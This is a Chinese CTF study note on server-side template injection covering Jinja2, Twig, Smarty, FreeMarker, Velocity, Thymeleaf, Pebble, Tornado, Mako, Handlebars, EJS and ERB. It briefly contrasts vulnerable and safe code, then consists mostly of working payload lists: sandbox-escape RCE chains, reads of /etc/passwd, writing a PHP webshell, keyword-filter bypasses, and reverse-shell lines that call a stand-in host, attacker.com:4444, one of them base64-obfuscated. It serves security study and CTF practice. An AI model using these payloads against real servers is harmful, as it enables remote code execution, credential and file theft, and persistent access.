P08 SSTI 服务端模板注入

2022-03-11 CTF-WEB 詹英

梳理服务端模板注入(Server-Side Template Injection,SSTI)的原理、各引擎利用方法、沙箱逃逸技巧与 WAF 绕过手法。

一、漏洞概述

1.1 定义

服务端模板注入(SSTI)是指 Web 应用程序将用户可控的输入直接拼接到模板字符串中,导致模板引擎将用户输入解析执行,从而使攻击者能够访问模板引擎对象、执行任意代码,甚至接管服务器。

正常模板渲染:
  模板:Hello, {{ name }}!
  数据:name = "Alice"
  输出:Hello, Alice!

SSTI 攻击:
  输入:name = "{{7*7}}"
  输出:Hello, 49!       ← 模板表达式被执行!

1.2 与其他注入的对比

漏洞类型 注入点 执行层 危害
SSTI 模板字符串 模板引擎 RCE、信息泄露
SQL 注入 SQL 语句 数据库引擎 数据泄露、DB 控制
命令注入 Shell 命令 OS Shell RCE
XSS HTML/JS 浏览器 客户端攻击
代码注入 eval 等 语言解释器 RCE

1.3 危害等级

危害 说明 等级
任意代码执行 通过沙箱逃逸执行操作系统命令 🔴 严重
服务器文件读取 读取配置文件、源码、密钥 🔴 严重
内网信息收集 获取内网 IP、端口、服务信息 🟡 高
反弹 Shell 获得持久化交互式访问权限 🔴 严重
拒绝服务 无限循环、内存耗尽 🟡 高
敏感信息泄露 泄露模板变量、配置对象内容 🟡 高

二、漏洞形成原因与代码分析

2.1 根本原因

用户输入
    ↓
直接拼接进模板字符串(而非作为数据传入)
    ↓
模板引擎将用户输入当作模板代码解析
    ↓
攻击者控制模板逻辑 → 任意对象访问 → RCE

正确做法:将用户输入作为数据变量传入模板,而非拼接为模板字符串本身。

2.2 各语言危险代码示例

Python / Jinja2(Flask)

# ❌ 危险:将用户输入直接拼接为模板字符串
from flask import Flask, request, render_template_string

app = Flask(__name__)

@app.route('/hello')
def hello():
    name = request.args.get('name', 'World')
    # 直接将用户输入拼接进模板 → SSTI
    template = f"<h1>Hello, {name}!</h1>"
    return render_template_string(template)

# 攻击:?name={{7*7}}  → 输出 49
# 攻击:?name={{config}}  → 泄露应用配置

# ✅ 安全:将用户输入作为变量数据传入
@app.route('/hello_safe')
def hello_safe():
    name = request.args.get('name', 'World')
    return render_template_string("<h1>Hello, {{ name }}!</h1>", name=name)

Python / Jinja2(更隐蔽的场景)

# ❌ 危险:format 字符串拼接
template = open('email.html').read()
# email.html 内容:Dear {username}, your code is {code}
# 若 username 可控且文件内容为 Jinja2 模板:
rendered = render_template_string(template.format(username=user_input))
# 攻击:username = "{{7*7}}"

# ❌ 危险:日志/错误页面中嵌入用户输入
error_msg = f"User {username} not found"
return render_template_string(f"<p>Error: {error_msg}</p>")

# ❌ 危险:邮件模板拼接
subject = render_template_string(f"Welcome {request.form['name']}!")

PHP / Twig

<?php
require_once 'vendor/autoload.php';

// ❌ 危险:用户输入直接作为模板字符串
$loader   = new \Twig\Loader\ArrayLoader();
$twig     = new \Twig\Environment($loader);

$name     = $_GET['name'];
// 将用户输入直接作为模板渲染
echo $twig->createTemplate("Hello $name")->render([]);

// 攻击:?name={{7*7}} → Hello 49
// 攻击:?name={{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id")}}

// ✅ 安全:
echo $twig->createTemplate("Hello {{ name }}")->render(['name' => $name]);

PHP / Smarty

<?php
// ❌ 危险:直接 fetch 用户输入
$smarty = new Smarty();
$tpl    = $_GET['tpl'];
echo $smarty->fetch('string:' . $tpl);

// 攻击:?tpl={system('id')}

Java / FreeMarker

// ❌ 危险:用户控制模板内容
Configuration cfg = new Configuration(Configuration.VERSION_2_3_31);
String templateStr = request.getParameter("template");
Template t = new Template("name", new StringReader(templateStr), cfg);
t.process(dataModel, out);

// 攻击:?template=<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}

Java / Velocity

// ❌ 危险:用户输入拼接进模板
String userInput = request.getParameter("input");
String template  = "Hello " + userInput + "!";
Velocity.evaluate(context, writer, "template", template);

// 攻击:?input=#set($e="e")$e.getClass().forName("java.lang.Runtime")
//       .getMethod("exec","".getClass()).invoke($e.getClass()
//       .forName("java.lang.Runtime").getMethod("getRuntime").invoke(null),"id")

2.3 常见危险函数/方法汇总

Python 模板引擎危险函数

函数/方法 引擎 危险原因
render_template_string(user_input) Jinja2/Flask 直接渲染用户输入字符串
Environment().from_string(user_input) Jinja2 编译用户输入为模板
Template(user_input).render() Jinja2/Mako 直接编译执行
tornado.template.Template(user_input) Tornado 直接编译执行
mako.template.Template(user_input) Mako 直接编译执行
chevron.render(user_input, data) Mustache 渲染用户输入

PHP 模板引擎危险函数

函数/方法 引擎 危险原因
$twig->createTemplate($user_input) Twig 将用户输入作为模板编译
$twig->render($user_input, []) Twig 渲染用户指定的模板名
$smarty->fetch('string:' . $user_input) Smarty 直接执行用户字符串
$smarty->display($user_input) Smarty 渲染用户指定路径
$blade->render($user_input) Blade 编译渲染用户输入
$plates->render($user_input) Plates 渲染用户指定模板

Java 模板引擎危险方法

方法 引擎 危险原因
new Template("name", new StringReader(userInput), cfg) FreeMarker 用户输入作为模板
Velocity.evaluate(ctx, writer, "t", userInput) Velocity 直接求值用户字符串
engine.getTemplate(userInput) Velocity 用户控制模板文件路径
SpringTemplateEngine().process(userInput, ctx) Thymeleaf 处理用户输入片段
new PebbleTemplate(engine, userInput) Pebble 编译用户输入

三、模板引擎识别与探测

3.1 检测是否存在 SSTI

# 基础检测:输入数学表达式,观察是否被计算
{{7*7}}          → 输出 49    Jinja2 / Twig
${7*7}           → 输出 49    Freemarker / Velocity / Groovy
#{7*7}           → 输出 49    Thymeleaf / Spring EL
<%= 7*7 %>       → 输出 49    ERB (Ruby) / EJS (Node.js)
{7*7}            → 输出 49    Smarty
*{7*7}           → 输出 49    Thymeleaf Spring EL
${{7*7}}         → 输出 49    Tornado

# 检测字符串操作
{{"abc".upper()}}   → ABC     Python (Jinja2/Mako)
{{"abc"|upper}}     → ABC     Jinja2/Twig

3.2 引擎识别决策树

输入 {{7*7}}
    ├── 输出 49      → Jinja2 / Twig / Pebble / 其他 {{ }} 引擎
    │   └── 输入 {{7*'7'}}
    │       ├── 输出 7777777  → Jinja2(Python 字符串乘法)
    │       └── 输出 49       → Twig(PHP 类型转换)
    │
    ├── 输出 {{7*7}} → 不解析(可能是 Smarty / Mako 使用 {} 语法)
    │   └── 输入 {7*7}
    │       └── 输出 49       → Smarty
    │
    └── 无输出/报错  → 分析报错信息判断引擎

输入 ${7*7}
    ├── 输出 49   → FreeMarker / Velocity / Groovy / Thymeleaf
    └── 输出 ${7*7} → 非 EL 表达式语言

输入 <%= 7*7 %>
    ├── 输出 49   → ERB (Ruby) / EJS (Node.js)
    └── 无响应    → 其他引擎

3.3 引擎特征快速区分

# 各引擎独特特征
{{7*'7'}}           → Jinja2: 7777777  |  Twig: 49

# Jinja2 独有
{{config}}          → 输出 Flask 配置对象

# Twig 独有
{{_self}}           → 输出 Twig 环境对象

# FreeMarker 独有
${7?string}         → 7  (?string 是 FreeMarker 语法)

# Velocity 独有
#set($a = 7)$a      → 7

# Smarty 独有
{$smarty.version}   → Smarty 版本号

# Thymeleaf 独有
[[${7*7}]]          → 49(内联表达式)
*{7*7}              → 49(选择变量表达式)

# ERB (Ruby)
<%= 7*7 %>          → 49
<%= `id` %>         → 直接命令执行!

# EJS (Node.js)
<%= 7*7 %>          → 49
<% process.exit() %> → 服务器退出(测试用)

# Tornado
{{7*7}}             → 49(与 Jinja2 类似)

# Mako
${7*7}              → 49
<%  import os; os.system('id') %> → 直接执行

3.4 自动化识别工具

# tplmap(专门的 SSTI 检测利用工具)
git clone https://github.com/epinna/tplmap
cd tplmap
python tplmap.py -u 'http://target.com/hello?name=*'
python tplmap.py -u 'http://target.com/hello?name=*' --os-shell
python tplmap.py -u 'http://target.com/hello?name=*' --os-cmd 'id'

# 手动 Fuzz 字典(同时测试多个引擎)
{{7*7}}
${7*7}
<%= 7*7 %>
#{7*7}
{7*7}
{{7*'7'}}
${{"freemarker.template.utility.Execute"?new()("id")}}
{{''.__class__.__mro__[1].__subclasses__()}}

四、Jinja2(Python)

4.1 基础特性

Jinja2 是 Python 中最广泛使用的模板引擎,Flask 默认使用,也常见于 Django、FastAPI 等框架。

# Jinja2 语法
{{ expression }}    表达式(输出值)
{% statement %}     语句(if/for/set 等)
{# comment #}       注释

4.2 信息收集 Payload

# 读取 Flask 配置(含 SECRET_KEY 等)
{{config}}
{{config.items()}}
{{config['SECRET_KEY']}}

# 读取全局变量
{{self}}
{{self.__dict__}}

# 读取请求对象
{{request}}
{{request.environ}}
{{request.environ['HTTP_HOST']}}

# 读取所有全局变量
{{url_for.__globals__}}
{{get_flashed_messages.__globals__}}
{{lipsum.__globals__}}

# 通过 globals 获取 os 模块
{{url_for.__globals__['os'].popen('id').read()}}
{{get_flashed_messages.__globals__['os'].system('id')}}
{{lipsum.__globals__['os'].popen('cat /flag').read()}}

4.3 沙箱逃逸 —— MRO 链路径

# 核心原理:通过 Python 对象的 __class__、__mro__、__subclasses__
# 遍历所有子类,找到可执行命令的类

# 步骤一:获取所有子类列表(找到利用类的索引)
{{''.__class__.__mro__[1].__subclasses__()}}
{{().__class__.__bases__[0].__subclasses__()}}
{{[].__class__.__bases__[0].__subclasses__()}}
{{{}.__class__.__bases__[0].__subclasses__()}}

# 步骤二:搜索关键类
# 在输出中寻找:
# <class 'subprocess.Popen'>
# <class 'os._wrap_close'>
# <class 'warnings.catch_warnings'>
# <class '_io.StringIO'>

# 步骤三:构造 Payload(以 _wrap_close 为例,通常索引约为 117-135)
# 获取 os 模块(通过 _wrap_close 的 __init__.__globals__)
{{''.__class__.__mro__[1].__subclasses__()[117].__init__.__globals__['system']('id')}}

# 精确查找 _wrap_close 的索引(自动化脚本输出索引后使用)
{{''.__class__.__mro__[1].__subclasses__()
  | selectattr('__name__', 'eq', '_wrap_close')
  | list | first
  | attr('__init__')
  | attr('__globals__')
}}

# 使用 popen 读取命令输出(_wrap_close)
{{''.__class__.__mro__[1].__subclasses__()[117].__init__.__globals__['popen']('id').read()}}

4.4 沙箱逃逸 —— 通用利用链

# ── 方法一:通过 warnings.catch_warnings ──
{% for c in [].__class__.__base__.__subclasses__() %}
  {% if c.__name__ == 'catch_warnings' %}
    {% for b in c()._module.__builtins__ %}
      {% if b[0] == '__import__' %}
        {{ b[1]('os').popen('id').read() }}
      {% endif %}
    {% endfor %}
  {% endif %}
{% endfor %}

# ── 方法二:通过 __builtins__ 获取 eval ──
{{''.__class__.__mro__[1].__subclasses__()[117].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("id").read()')}}

# ── 方法三:通过 lipsum 内置函数(Flask 特有)──
{{lipsum.__globals__['os'].popen('id').read()}}
{{lipsum.__globals__['__builtins__']['eval']('__import__("os").popen("id").read()')}}

# ── 方法四:通过 url_for(Flask 特有)──
{{url_for.__globals__['current_app'].config}}
{{url_for.__globals__['os'].popen('id').read()}}

# ── 方法五:通过 cycler(Flask 内置)──
{{cycler.__init__.__globals__.os.popen('id').read()}}
{{cycler.__init__.__globals__['os'].popen('id').read()}}

# ── 方法六:通过 joiner(Flask 内置)──
{{joiner.__init__.__globals__.os.popen('id').read()}}

# ── 方法七:通过 namespace(Flask 内置)──
{{namespace.__init__.__globals__.os.popen('id').read()}}

# ── 方法八:通过 get_flashed_messages ──
{{get_flashed_messages.__globals__['os'].popen('id').read()}}

4.5 Popen 类直接利用

# 找到 subprocess.Popen 类后直接调用
# 通常需要先找到其索引

# 自动搜索并利用 subprocess.Popen
{% set ns = namespace(found=false) %}
{% for c in ''.__class__.__mro__[1].__subclasses__() %}
  {% if 'Popen' in c.__name__ and not ns.found %}
    {% set ns.found = true %}
    {{ c(['id'], stdout=-1).communicate()[0] }}
  {% endif %}
{% endfor %}

# 若已知索引(示例:索引为 273)
{{''.__class__.__mro__[1].__subclasses__()[273](['id'],stdout=-1).communicate()}}
{{''.__class__.__mro__[1].__subclasses__()[273](['cat','/flag'],stdout=-1).communicate()[0]}}

4.6 文件读写 Payload

# 读取文件
{{open('/etc/passwd').read()}}
{{open('/flag').read()}}

# 若 open 不可直接访问
{{''.__class__.__mro__[1].__subclasses__()[117].__init__.__globals__['__builtins__']['open']('/etc/passwd').read()}}

# 写入 WebShell
{{open('/var/www/html/shell.php','w').write('<?php system($_GET[cmd]);?>')}}

# 列目录
{{[].__class__.__base__.__subclasses__()[117].__init__.__globals__['os'].listdir('/')}}

4.7 常用 RCE Payload 汇总

# ── 最简洁(Flask + lipsum)──
{{lipsum.__globals__.os.popen('id').read()}}

# ── 通用(不依赖 Flask 特有对象)──
{{''.__class__.__mro__[1].__subclasses__()[117].__init__.__globals__['popen']('id').read()}}

# ── 通过 eval(适合过滤了 os 关键字)──
{{''.__class__.__mro__[1].__subclasses__()[117].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("id").read()')}}

# ── 反弹 Shell ──
{{lipsum.__globals__['os'].popen("bash -c 'bash -i >& /dev/tcp/attacker.com/4444 0>&1'").read()}}

# ── Base64 编码命令(绕过关键字过滤)──
# "id" 的 base64: aWQ=
{{lipsum.__globals__['os'].popen(__import__('base64').b64decode('aWQ=').decode()).read()}}

五、Twig(PHP)

5.1 基础特性

Twig 是 PHP 中最流行的模板引擎,Symfony 框架默认使用,Drupal、Craft CMS 等也广泛使用。

# Twig 语法
{{ expression }}   输出表达式
{% tag %}          标签(逻辑控制)
{# comment #}      注释

5.2 信息收集 Payload

{# 获取 Twig 环境对象 #}
{{_self}}
{{_self.env}}

{# 获取模板名称 #}
{{_self.getTemplateName()}}

{# 获取全局变量 #}
{{_context}}
{{_context|json_encode}}

{# 获取所有已注册的 filter #}
{{_self.env.getExtension('Twig\\Extension\\CoreExtension')}}

5.3 利用 _self.env RCE

{# ── 方法一:registerUndefinedFilterCallback(Twig < 1.28)──  #}
{{_self.env.registerUndefinedFilterCallback("system")}}
{{_self.env.getFilter("id")}}

{# 一行写法 #}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("cat /flag")}}

{# ── 方法二:使用 exec 系列函数 #}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

{{_self.env.registerUndefinedFilterCallback("passthru")}}{{_self.env.getFilter("id")}}

{{_self.env.registerUndefinedFilterCallback("shell_exec")}}{{_self.env.getFilter("id")}}

5.4 利用 filter 链 RCE

{# ── 通过 map filter + arrow function(Twig 2.x+)──  #}
{# 利用 Twig 箭头函数调用 PHP 函数 #}
{% set cmd = 'id' %}
{% set output = [cmd]|map((c) => system(c)) %}
{{output|join}}

{# ── 通过 sort filter ── #}
{% set arr = {'a': 'id'} %}
{{ arr|sort((a, b) => system(a)) }}

{# ── 通过 reduce filter ── #}
{{'id'|reduce((carry, v) => system(carry))}}

5.5 利用 getFilter / 回调 RCE

{# 注入类方法作为回调 #}
{{['id']|sort('system')}}
{{['id']|map('system')}}
{{['id']|filter('system')}}

{# 通过 Twig_Function 调用 #}
{%- set ns = namespace(rce='') -%}
{%- for i in ['cat /flag'] -%}
  {%- set ns.rce = ns.rce ~ i|system -%}
{%- endfor -%}
{{ ns.rce }}

{# 利用 format filter 注入 #}
{{ '%s'|format(system('id')) }}

5.6 Twig SSTI 利用链

{# Twig 3.x 的利用(registerUndefinedFilterCallback 已移除时)#}
{# 通过 block 函数动态调用 #}
{{ block('id', 'Some content') }}

{# 通过 attribute 函数访问对象方法 #}
{{ attribute(_self.env, 'loadTemplate', ['../../etc/passwd']) }}

{# 完整利用链(Twig Sandbox 开启时需绕过)#}
{% if _self.env.isSandboxed() %}
  {# Sandbox 模式下需使用已允许的方法 #}
  {{ _self.env.getExtensions() }}
{% else %}
  {{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id")}}
{% endif %}

六、Smarty(PHP)

6.1 基础特性

Smarty 是 PHP 中历史悠久的模板引擎,使用 {...} 语法。

{* Smarty 语法 *}
{$variable}              输出变量
{if $cond}...{/if}       条件判断
{foreach}...{/foreach}   循环
{function_name args}     调用函数

6.2 Smarty 直接命令执行

{# Smarty 中 PHP 函数可直接调用 #}

{# ── 方法一:直接调用 system ──  #}
{system('id')}
{system('cat /flag')}
{system('bash -c "bash -i >& /dev/tcp/attacker.com/4444 0>&1"')}

{# ── 方法二:passthru ──  #}
{passthru('id')}

{# ── 方法三:exec ──  #}
{exec('id', $out)}
{$out|print_r}

{# ── 方法四:shell_exec ──  #}
{echo shell_exec('id')}

{# ── 方法五:反引号 ──  #}
{echo `id`}

{# ── 方法六:PHP 代码块(旧版本)──  #}
{php}system('id');{/php}

{# ── 方法七:{math} tag ──  #}
{math equation="x" x="system('id')"}

6.3 Smarty 高级利用

{# 通过 Smarty 内部对象访问 #}
{$smarty.version}           {* 获取版本 *}
{$smarty.template}          {* 当前模板名 *}
{$smarty.cookies}           {* Cookie 数据 *}
{$smarty.server}            {* $_SERVER 数据 *}
{$smarty.env}               {* 环境变量 *}
{$smarty.session}           {* Session 数据 *}

{# 通过 assign + PHP 函数链 #}
{assign var='cmd' value='id'}
{system($cmd)}

{# 利用 {capture} 和 PHP 函数 #}
{capture assign='output'}{system('id')}{/capture}
{$output}

{# 利用 fetch 读取文件 #}
{$smarty.fetch('/etc/passwd')}

七、FreeMarker(Java)

7.1 基础特性

FreeMarker 是 Java 中广泛使用的模板引擎,常见于 Spring MVC、Struts 等框架。

# FreeMarker 语法
${expression}          输出表达式
<#if condition>        条件判断
<#list seq as item>    循环
<#assign var = val>    赋值

7.2 利用 freemarker.template.utility.Execute

<#-- ── 方法一:Execute 类(最直接)── -->
<#assign ex="freemarker.template.utility.Execute"?new()>
${ex("id")}
${ex("cat /etc/passwd")}
${ex("cat /flag")}

<#-- 反弹 Shell -->
<#assign ex="freemarker.template.utility.Execute"?new()>
${ex("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9hdHRhY2tlci5jb20vNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}")}

7.3 利用 ObjectConstructor

<#-- ── 方法二:ObjectConstructor ── -->
<#assign ob="freemarker.template.utility.ObjectConstructor"?new()>
<#assign br=ob("java.io.BufferedReader",ob("java.io.InputStreamReader",ob("java.lang.ProcessBuilder",["id"])
  .start().getInputStream()))>
<#list 0..99 as _>
  <#assign line=br.readLine()!>
  <#if line?has_content>${line}<br></#if>
</#list>

7.4 通过 JythonRuntime 执行 Python

<#-- ── 方法三:JythonRuntime(需要 Jython 依赖)── -->
<#assign jython="freemarker.template.utility.JythonRuntime"?new()>
<@jython>
import os
os.system("id")
</@jython>

7.5 通过反射执行命令

<#-- ── 方法四:通过 API 反射 ── -->
<#assign classLoader=object?api.class.protectionDomain.classLoader>
<#assign clazz=classLoader.loadClass("java.lang.Runtime")>
<#assign method=clazz?api.getMethod("exec","".class)>
<#assign instance=clazz?api.getMethod("getRuntime").invoke(null)>
<#assign process=method.invoke(instance,"id")>
<#assign is=process?api.inputStream>
<#assign isreader=object?api.class.forName("java.io.InputStreamReader")?new(is)>
<#assign reader=object?api.class.forName("java.io.BufferedReader")?new(isreader)>
<#assign line=reader.readLine()>
${line}

八、Velocity(Java)

8.1 基础特性

Apache Velocity 是 Java 模板引擎,常见于 Java Web 应用、CMS 系统(如 Confluence)。

## Velocity 语法
$variable                  输出变量
#set($var = "value")       赋值
#if($condition)...#end     条件
#foreach($item in $list)   循环

8.2 通过 ClassTool 执行命令

## ── 方法一:通过 Runtime(最常用)──
#set($runtime = $class.forName("java.lang.Runtime"))
#set($method = $runtime.getMethod("exec", $class.forName("java.lang.String")))
#set($instance = $runtime.getMethod("getRuntime").invoke($null))
#set($process = $method.invoke($instance, "id"))
#set($inputStream = $process.getInputStream())
#set($reader = $class.forName("java.io.BufferedReader")
  .getDeclaredConstructor($class.forName("java.io.InputStreamReader"))
  .newInstance($class.forName("java.io.InputStreamReader")
  .getDeclaredConstructor($class.forName("java.io.InputStream"))
  .newInstance($inputStream)))
$reader.readLine()

8.3 利用 ClassTool 简化版

## ── 方法二:ClassTool(若应用注入了此工具)──
#set($str = $class.inspect("java.lang.String"))
#set($chr = $class.inspect("java.lang.Character"))
#set($ex  = $class.inspect("java.lang.Runtime").type.getRuntime())
$ex.exec("id")

## ── 方法三:通过 ProcessBuilder ──
#set($pb = $class.forName("java.lang.ProcessBuilder"))
#set($cmd = ["id"])
#set($instance = $pb.getDeclaredConstructor(["".getClass()]).newInstance([$cmd]))
#set($proc = $instance.start())
## 读取输出...

8.4 Confluence SSTI(CVE-2022-26134 原理)

## Confluence 中的 OGNL 注入(通过 Velocity)
## 以下为研究用途,了解漏洞原理

## 利用 OGNL 表达式执行命令
${@java.lang.Runtime@getRuntime().exec("id")}

## 通过 request 对象访问
#set($x = $request.getClass().forName("java.lang.Runtime").getMethod("exec","".getClass()))

九、Thymeleaf(Java)

9.1 基础特性

Thymeleaf 是 Spring 生态中广泛使用的模板引擎,支持 Spring EL(SpEL)表达式。

<!-- Thymeleaf 语法 -->
<p th:text="${expression}">  变量表达式
<p th:text="*{expression}">  选择表达式
<p th:text="#{message}">     消息表达式
@{/url}                      URL 表达式
~{fragment}                  片段表达式

9.2 SpEL 注入 Payload

# Thymeleaf 中的 SpEL 注入(Spring EL)

# ── 方法一:通过 T() 运算符调用静态方法 ──
${T(java.lang.Runtime).getRuntime().exec('id')}
*{T(java.lang.Runtime).getRuntime().exec('id')}

# ── 执行并读取输出 ──
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.String).valueOf(new char[]{105,100})).getInputStream())}

# ── 数组形式传参(绕过引号过滤)──
${T(java.lang.Runtime).getRuntime().exec(new String[]{'/bin/bash','-c','id'})}

# ── 通过 ProcessBuilder ──
${new java.lang.ProcessBuilder(new String[]{'/bin/bash','-c','id'}).start().getInputStream()}

# ── 读取命令输出 ──
${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(new String[]{'/bin/bash','-c','id'}).getInputStream()).useDelimiter('\\A').next()}

9.3 Thymeleaf 路径中的模板注入

// 危险场景:用户控制返回的视图名称
@GetMapping("/path")
public String render(@RequestParam String fragment) {
    return fragment;  // 用户控制视图名
}

// 攻击 Payload(通过 :: 片段选择器注入)
// ?fragment=__${T(java.lang.Runtime).getRuntime().exec('id')}__::.x
// ?fragment=__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec('id').getInputStream()).useDelimiter('\A').next()}__::.x
# URL 参数注入 Payload
__${T(java.lang.Runtime).getRuntime().exec('id')}__::.x
__${T(java.lang.Runtime).getRuntime().exec(new String[]{'/bin/sh','-c','id'})}__::.x

# 读取文件
__${new java.util.Scanner(new java.io.File('/etc/passwd')).useDelimiter('\\A').next()}__::.x

# 完整利用(带输出读取)
__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(new String[]{'/bin/bash','-c','cat /flag'}).getInputStream()).useDelimiter('\\A').next()}__::.x

十、Pebble(Java)

10.1 基础特性

Pebble 是受 Twig 启发的 Java 模板引擎,语法类似 Twig。

10.2 利用 Payload

# ── 通过 class 访问 Runtime ──
{{ variable.getClass().forName('java.lang.Runtime').getMethod('exec', variable.getClass().forName('java.lang.String')).invoke(variable.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null), 'id') }}

# ── 通过 _configurationProperties ──
{% set cmd = '_configurationProperties' %}
{% for entry in _configurationProperties %}
  {{ entry }}
{% endfor %}

# ── 方法调用链(Pebble < 3.1.5)──
{{ '' .class.forName('java.lang.Runtime')
       .getMethod('exec',''.class)
       .invoke(''
         .class.forName('java.lang.Runtime')
         .getMethod('getRuntime')
         .invoke(null),
         'id'
       )
}}

十一、Tornado / Mako(Python)

11.1 Tornado 模板注入

# Tornado 使用 {{ }} 语法,与 Jinja2 类似

# ── 直接代码执行 ──
{{1+1}}                         # 2
{{handler.settings}}            # 获取应用配置(含 cookie_secret 等)
{{handler.application.settings}}

# ── 执行命令 ──
{%  import os %}
{{ os.popen('id').read() }}

{% import subprocess %}
{{ subprocess.check_output('id', shell=True).decode() }}

# ── 反弹 Shell ──
{% import os %}
{{ os.system("bash -c 'bash -i >& /dev/tcp/attacker.com/4444 0>&1'") }}

# ── 读取文件 ──
{{ open('/etc/passwd').read() }}
{{ open('/flag').read() }}

11.2 Mako 模板注入

# Mako 语法(类 Python 语法)

# ── 表达式 ──
${ 7 * 7 }                          # 49
${ open('/etc/passwd').read() }     # 读取文件

# ── 代码块 ──
<% import os %>
${ os.popen('id').read() }

# ── 内联代码(功能最强)──
<%
    import os
    x = os.popen('id').read()
%>
${ x }

# ── 模块级别代码 ──
<%!
    import os
    def execute(cmd):
        return os.popen(cmd).read()
%>
${ execute('id') }

# ── 反弹 Shell ──
<% import os %>
${ os.system("bash -c 'bash -i >& /dev/tcp/attacker.com/4444 0>&1'") }

十二、Handlebars(JavaScript)

12.1 利用 Payload

// Handlebars 沙箱逃逸(Node.js)

// ── 方法一:通过 lookup 访问原型 ──
{{#with "s" as |string|}}
  {{#with "e"}}
    {{#with split as |conslist|}}
      {{this.pop}}
      {{this.push (lookup string.sub "constructor")}}
      {{this.pop}}
      {{#with string.split as |codelist|}}
        {{this.pop}}
        {{this.push "return require('child_process').execSync('id').toString()"}}
        {{this.pop}}
        {{#each conslist}}
          {{#with (string.sub.apply 0 codelist)}}
            {{this}}
          {{/with}}
        {{/each}}
      {{/with}}
    {{/with}}
  {{/with}}
{{/with}}

// ── 方法二:利用 __proto__ 原型污染 ──
// 通过特殊构造的 Handlebars 表达式访问 constructor
{{constructor.constructor 'return process.mainModule.require("child_process").execSync("id").toString()'}}

// ── 方法三:通过全局对象 ──
{{#if (gt (lookup (lookup . "constructor") "name") "")}}
  {{lookup (lookup (lookup . "constructor") "constructor") "name"}}
{{/if}}

十三、EJS(JavaScript)

13.1 利用 Payload

// EJS(Embedded JavaScript)Node.js 模板引擎

// ── 语法 ──
<%= expression %>     输出(HTML 转义)
<%- expression %>     输出(不转义,可 XSS)
<% code %>            执行代码(无输出)
<%# comment %>        注释

// ── 直接 RCE ──
<%= require('child_process').execSync('id').toString() %>
<%- require('child_process').execSync('id').toString() %>

// ── 通过代码块 ──
<% var output = require('child_process').execSync('id').toString() %>
<%= output %>

// ── 读取文件 ──
<%= require('fs').readFileSync('/etc/passwd').toString() %>
<%= require('fs').readFileSync('/flag').toString() %>

// ── 反弹 Shell ──
<% require('child_process').exec('bash -c "bash -i >& /dev/tcp/attacker.com/4444 0>&1"') %>

// ── 利用 options 参数注入(EJS < 3.1.7,CVE-2022-29078)──
// 若 opts 参数可控:
// opts = { delimiter: "%", outputFunctionName: "x;process.mainModule.require('child_process').execSync('id');s" }
// 在 render 时通过 outputFunctionName 注入代码

十四、ERB(Ruby)

14.1 利用 Payload

# ERB(Embedded Ruby)Rails 默认模板引擎

# ── 语法 ──
<%= expression %>   输出 Ruby 表达式
<% code %>          执行 Ruby 代码(无输出)
<%# comment %>      注释

# ── 直接 RCE(最简单的模板引擎)──
<%= `id` %>                           # 反引号执行命令
<%= system('id') %>                   # system 函数
<%= IO.popen('id').read %>            # 管道读取输出
<%= %x(id) %>                         # %x{} 语法

# ── 通过 require 加载 ──
<% require 'open3' %>
<%= Open3.capture2('id')[0] %>

# ── 读取文件 ──
<%= File.read('/etc/passwd') %>
<%= File.read('/flag') %>

# ── 反弹 Shell ──
<% require 'socket'; require 'open3'
   s = TCPSocket.new('attacker.com', 4444)
   while line = s.gets
     Open3.popen2e(line.chomp) { |i,o,t| s.write(o.read) }
   end
%>

# ── 简化反弹 ──
<%= `bash -c 'bash -i >& /dev/tcp/attacker.com/4444 0>&1'` %>

十五、Python 沙箱逃逸通用技巧

15.1 MRO 链自动搜索脚本

# 用于本地测试,找到有用的类及其索引
import jinja2

env = jinja2.Environment()
template = env.from_string("{{ ''.__class__.__mro__[1].__subclasses__() }}")
subclasses = eval(str(template.render()))

# 搜索感兴趣的类
for i, cls in enumerate(subclasses):
    if 'Popen' in str(cls) or 'exec' in str(cls).lower() or 'wrap' in str(cls).lower():
        print(f"[{i}] {cls}")

15.2 常用类路径

# 不同 Python 版本中常见的利用类索引(仅供参考,需动态确认)

# _wrap_close(包含 os 模块的 globals)
# Python 3.x 通常在 117-140 之间
''.__class__.__mro__[1].__subclasses__()[N].__init__.__globals__

# subprocess.Popen(直接执行命令)
# 通常在 250-300 之间
''.__class__.__mro__[1].__subclasses__()[N]

# warnings.catch_warnings(可访问 builtins)
# 通常在 140-180 之间
''.__class__.__mro__[1].__subclasses__()[N]

# 手动搜索(Jinja2 Payload)
{% for c in ''.__class__.__mro__[1].__subclasses__() %}
  {% if 'Popen' in c.__name__ %}
    INDEX = {{ loop.index0 }}, CLASS = {{ c.__name__ }}
  {% endif %}
{% endfor %}

15.3 绕过属性访问限制

# 当 . 和 [] 都被过滤时

# ── 方法一:使用 __getattribute__ ──
{{().__class__.__getattribute__('__bases__')[0]}}
{{''.__class__.__getattribute__('__mro__')[1]}}

# ── 方法二:使用 attr() 过滤器(Jinja2)──
{{()|attr('__class__')|attr('__bases__')|first|attr('__subclasses__')()}}
{{''|attr('__class__')|attr('__mro__')|last|attr('__subclasses__')()}}

# ── 方法三:字符串拼接访问属性 ──
{{'__cl'+'ass__'}}  # 某些引擎支持字符串拼接后作为属性名

# ── 方法四:使用 request(Flask)──
{{request|attr('application')|attr('__globals__')}}
{{request['__class__']['__mro__'][1]['__subclasses__']()}}

# ── 方法五:通过 Python 内置函数 ──
{{dict(__class__=a)|list}}    # 利用 dict 关键字参数

15.4 绕过关键字过滤

# 当 class / mro / subclasses / globals 等被过滤时

# ── 字符串拼接 ──
{{''['__cl'+'ass__']}}
{{''['__mro__'][1]['__subcla'+'sses__']()}}
{{lipsum['__glob'+'als__']['os']['pop'+'en']('id')['read']()}}

# ── 通过 request.args 动态传入(Flask)──
